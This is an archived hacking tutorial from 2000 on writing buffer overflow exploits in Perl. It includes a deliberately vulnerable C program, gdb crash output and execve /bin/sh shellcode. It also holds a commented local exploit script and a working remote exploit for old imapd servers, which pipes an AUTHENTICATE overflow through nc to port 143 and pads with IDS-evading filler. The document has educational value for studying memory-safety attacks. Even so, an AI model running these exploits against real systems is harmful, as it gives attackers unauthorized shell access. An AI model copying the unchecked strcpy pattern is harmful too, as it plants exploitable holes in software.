home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / perl-buffer.txt < prev    next >
Encoding:
Text File  |  2001-01-14  |  12.2 KB  |  355 lines

  1.    -- Writing Buffer Overflow Exploits with Perl - anno 2000 --
  2.      <teleh0r@doglover.com> - http://teleh0r.cjb.net/
  3.   ==============================================================
  4.  
  5.  
  6.  
  7.  Table of Contents:
  8. ~~~~~~~~~~~~~~~~~~~~
  9.  
  10.  [ 1.   Introduction
  11.  [ 2.   Vulnerable Program Example
  12.  [ 3.   Shellcode
  13.  
  14.  [ 4.   Designing the payload
  15.  [ 5.   Explained Example Exploit
  16.  [ 6.   Old Remote Imapd example exploit
  17.  
  18.  [ 7.   Links & Resources
  19.  
  20. -----------------------------------------------------------------------------
  21.  
  22.  Introduction:
  23. ~~~~~~~~~~~~~~~
  24.  
  25. This paper is for those who want a practical approach to writing buffer overflow
  26. exploits. As the title says, this text will teach you how to write these exploits
  27. in Perl.
  28.  
  29. If you want a more in-depth guide, please take a look at the links provided at the
  30. end of this paper, and read those instead.
  31.  
  32.  
  33.  Vulnerable Program Example:
  34. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  35.  
  36. Ok, time for a example. I have written a small program which is exploitable to a
  37. buffer overflow. strcpy() does not check the length of $KIDVULN before it starts
  38. placing its contents onto the stack, thus making the below program exploitable.
  39.  
  40. -----------------------------------------------------------------------------
  41. ++ vuln.c
  42.  
  43. #include <stdio.h>
  44. int main() {
  45.   char kidbuffer[1024];
  46.  
  47.   if (getenv("KIDVULN") == NULL) {
  48.     fprintf(stderr, "Grow up!\n");
  49.     exit(1);
  50.   }
  51.  
  52.   /* Read the environment variable data into the buffer */
  53.   strcpy(kidbuffer, (char *)getenv("KIDVULN"));
  54.  
  55.   printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);
  56.   printf("Isn't life wonderful in kindergarten?\n");
  57.   return 0;
  58. }
  59.  
  60. ++ end
  61. -----------------------------------------------------------------------------
  62.  
  63. [root@localhost teleh0r]# gcc -o vuln vuln.c
  64. vuln.c: In function `main':
  65. vuln.c:5: warning: comparison between pointer and integer
  66. [root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1028"}'`
  67. [root@localhost teleh0r]# gdb vuln
  68. GNU gdb 19991004
  69. Copyright 1998 Free Software Foundation, Inc.
  70. GDB is free software, covered by the GNU General Public License, and you are
  71. welcome to change it and/or distribute copies of it under certain conditions.
  72. Type "show copying" to see the conditions.
  73. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  74. This GDB was configured as "i386-redhat-linux"...
  75. (gdb) r
  76. Starting program: /home/teleh0r/vuln
  77. Environment variable KIDVULN is:
  78. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  79. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  80. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  81. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  82. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  83. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  84. <snip>
  85.  
  86. Isn't life wonderful in kindergarten?
  87.  
  88. Program received signal SIGSEGV, Segmentation fault.
  89. 0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149
  90. ) at ../sysdeps/generic/libc-start.c:61
  91. 61      ../sysdeps/generic/libc-start.c: No such file or directory.
  92. (gdb)
  93.  
  94. -----------------------------------------------------------------------------
  95.  
  96. Ok, here we can see that our buffer size wasn't big enough. Had it been, then
  97. the stack pointer would have been overwritten and the EIP register would have
  98. been 0x41414141. (41 == A in hex.)
  99.  
  100. -----------------------------------------------------------------------------
  101.  
  102. [root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1032"}'`
  103. [root@localhost teleh0r]# gdb vuln
  104. GNU gdb 19991004
  105. Copyright 1998 Free Software Foundation, Inc.
  106. GDB is free software, covered by the GNU General Public License, and you are
  107. welcome to change it and/or distribute copies of it under certain conditions.
  108. Type "show copying" to see the conditions.
  109. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  110. This GDB was configured as "i386-redhat-linux"...
  111. (gdb) r
  112. Starting program: /home/teleh0r/vuln
  113. Environment variable KIDVULN is:
  114. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  115. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  116. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  117. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  118. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  119. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  120. <snip>
  121.  
  122. Isn't life wonderful in kindergarten?
  123.  
  124. Program received signal SIGSEGV, Segmentation fault.
  125. 0x41414141 in ?? ()
  126. (gdb)
  127.  
  128. -----------------------------------------------------------------------------
  129.  
  130. Now, we have totally overwritten the old return adress. We now see that it
  131. holds 4 A's. So what does this mean? Well, we can controll where EIP points to,
  132. and therefore we can get EIP to point to our payload. If this is successful our
  133. code will get executed on the stack.
  134.  
  135. (Some operative systems/patches may prevent code being executed on the stack).
  136.  
  137. -----------------------------------------------------------------------------
  138.  
  139. We now know the length we will use to completely overwrite the return address.
  140. Since ESP points to the top of the stack, we can use the value of ESP when the
  141. program died, and (if needed) add a offset to it.
  142.  
  143. This is how you get the stack pointer value to use your exploit.
  144.  
  145. Program received signal SIGSEGV, Segmentation fault.
  146. 0x41414141 in ?? ()
  147. (gdb) info reg esp
  148. esp            0xbffff770       -1073744064
  149. (gdb)
  150.  
  151. -----------------------------------------------------------------------------
  152.  
  153.  Shellcode:
  154. ~~~~~~~~~~~~
  155.  
  156. If you want to learn how to write your own shellcode, please take a look at the
  157. links provided at the end of this paper. If you are lazy, and since you code in
  158. Perl, chances are high, you could use tools which will make the shellcode for you.
  159. Hellkit and execve-shell are good examples of such programs (great tools).
  160.  
  161. (You will find these tools at: http://teso.scene.at/)
  162.  
  163. [root@localhost execve-shell]# ./shellxp /bin/sh
  164. build exploit shellcode
  165. -scut / teso.
  166.  
  167. constructing shellcode...
  168.  
  169. [ 39/2048] adding ( 7): /bin/sh
  170. shellcode size: 47 bytes
  171.  
  172. /* 47 byte shellcode */
  173. "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
  174. "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
  175. "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
  176. "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";
  177.  
  178. -----------------------------------------------------------------------------
  179.  
  180.  Designing the payload:
  181. ~~~~~~~~~~~~~~~~~~~~~~~~
  182.  
  183. The payload will be stored in the $buffer scalar, with the data which will be
  184. used for the exploitation. It will have the length needed to completely overwrite
  185. the old return address. We will insert this code into the targeted program
  186. (user-input) in order to change its flow.
  187.  
  188. The payload will in most cases look like this:
  189.  
  190. N = NOP (0x90) / S = Shellcode / R = ESP (+ offset).
  191.  
  192. Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ]
  193.  
  194. There are reasons why we construct the buffer this way. First we have a lot of
  195. NOPs, then the shellcode (which in this example will execute /bin/sh), and at last
  196. the ESP + offset values.
  197.  
  198. The EIP register will get loaded with the value pointed to by ESP. So if ESP
  199. points to anywhere inside the NOPs, the NOPs will do "no operations", and
  200. continue to do nothing until the processor reaches the shellcode and then
  201. executes it. (See the figure below)
  202.  
  203.     _______________________________________________
  204. <---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----
  205.      \_________________________/ ---->   #      ^
  206.               ^                       |
  207.           |________________________________|
  208.  
  209.  
  210. If the buffer we were trying to overflow had been too small to add a decent
  211. amount of NOP's, the shellcode and RET's, the below layout could have been
  212. used when constructing the payload. (We could have added the NOP's and shellcode
  213. into a shell-variable as well)
  214.  
  215. (R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)
  216.  
  217.            / ESP + offset /  NOP's /  Shellcode
  218. Payload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]
  219.                       |          |   ----------> #
  220.                        ----------
  221.  
  222.  
  223. (Note: The buffer cannot contain any NULL bytes!)
  224.  
  225. -----------------------------------------------------------------------------
  226.  
  227.  Explained Example Exploit:
  228. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  229.  
  230. #!/usr/bin/perl
  231.  
  232.  
  233. $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
  234.              "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
  235.              "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
  236.              "\xff\xff/bin/sh";
  237.  
  238.  
  239. $len = 1024 + 8;    # The length needed to own EIP.
  240. $ret = 0xbffff770;  # The stack pointer at crash time.
  241. $nop = "\x90";      # x86 NOP
  242. $offset = -1000;    # Default offset to try.
  243.  
  244.  
  245. if (@ARGV == 1) {
  246.     $offset = $ARGV[0];
  247. }
  248.  
  249. for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
  250.     $buffer .= $nop;
  251. }
  252.  
  253. # [ Buffer: NNNNNNNNNNNNNN ]
  254.  
  255. # Add a lot of x86 NOP's to the buffer scalar. (885 NOP's)
  256.  
  257. $buffer .= $shellcode;
  258.  
  259. # [ Buffer: NNNNNNNNNNNNNNSSSSS ]
  260.  
  261. # Then we add the shellcode to the buffer. We made room for the shellcode
  262. # above.
  263.  
  264. print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
  265.  
  266. # Here we add the offset to the stack pointer value - convert it to hex,
  267. # and then print it out.
  268.  
  269. $new_ret = pack('l', ($ret + $offset));
  270.  
  271. # pack is a function which will take a list of values and pack it into a
  272. # binary structure, and then return that string containing the structure.
  273. # So, pack the stack pointer / ESP + offset into a signed long - (4 bytes).
  274.  
  275. for ($i += length($shellcode); $i < $len; $i += 4) {
  276.     $buffer .= $new_ret;
  277. }
  278.  
  279. # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]
  280.  
  281. # Here we add the length of the shellcode to the scalar $i, which after the
  282. # first for loop had finished held the value "885" (bytes), then the for loop
  283. # adds the $new_ret scalar until $buffer has the size of 1032 bytes.
  284. #
  285. # Could also have been written as this:
  286. #
  287. # until (length($buffer) == $len) {
  288. #    $buffer .= $new_ret;
  289. #}
  290.  
  291. local($ENV{'KIDVULN'}) = $buffer; exec("/bin/vuln");
  292.  
  293. # Copy it into the shell variable KIDVULN, and execute vuln.
  294.  
  295. -----------------------------------------------------------------------------
  296.  
  297. #!/usr/bin/perl
  298.  
  299. ## *** Successfully tested on IMAP4rev1 v10.190
  300. ## Written by: teleh0r@doglover.com / anno 2000
  301. ##
  302. ## This is nothing new - written just for fun.
  303. ## Vulnerable: imapd versions 9.0 > 10.223 / CA.
  304.  
  305. # Shellcode stolen from imapx.c / The Tekneeq Crew
  306.  
  307. $shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
  308.         "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
  309.         "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
  310.         "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
  311.         "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
  312.         "\x2f\x32\x39\x3e\x2f\x43\x38";
  313.  
  314. $len = 1052;       # Sufficient to overwrite the return value.
  315. $nop = A;          # Using A (0x41) 'as' NOP's to try to fool IDS.
  316. $ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.
  317.  
  318. if (@ARGV < 2) {
  319.     print("Usage: $0 <target> <offset>\n");
  320.     exit(1);
  321. }
  322.  
  323. ($target, $offset) = @ARGV;
  324.  
  325. for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
  326.     $buffer .= $nop;
  327. }
  328.  
  329. $buffer .= $shellcode;
  330. $new_ret = pack('l', ($ret + $offset));
  331.  
  332. $address = sprintf('%lx', ($ret + $offset));
  333. print("Address: 0x$address / Offset: $offset / Length: $len\n\n");
  334. sleep(1);
  335.  
  336. for ($i += length($shellcode); $i < $len; $i += 4) {
  337.     $buffer .= $new_ret;
  338. }
  339.  
  340. $exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";
  341.  
  342. system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");
  343.  
  344. -----------------------------------------------------------------------------
  345.  
  346.  Links & Resources:
  347. ~~~~~~~~~~~~~~~~~~~~
  348.  
  349. Smashing The Stack For Fun And Profit by Aleph One
  350. http://phrack.infonexus.com/search.phtml?view&article=p49-14
  351.  
  352. Writing buffer overflow exploits - a tutorial for beginners.
  353. http://mixter.warrior2k.com/exploit.txt / Written by Mixter.
  354.  
  355. TESO Security Group / http://teso.scene.at/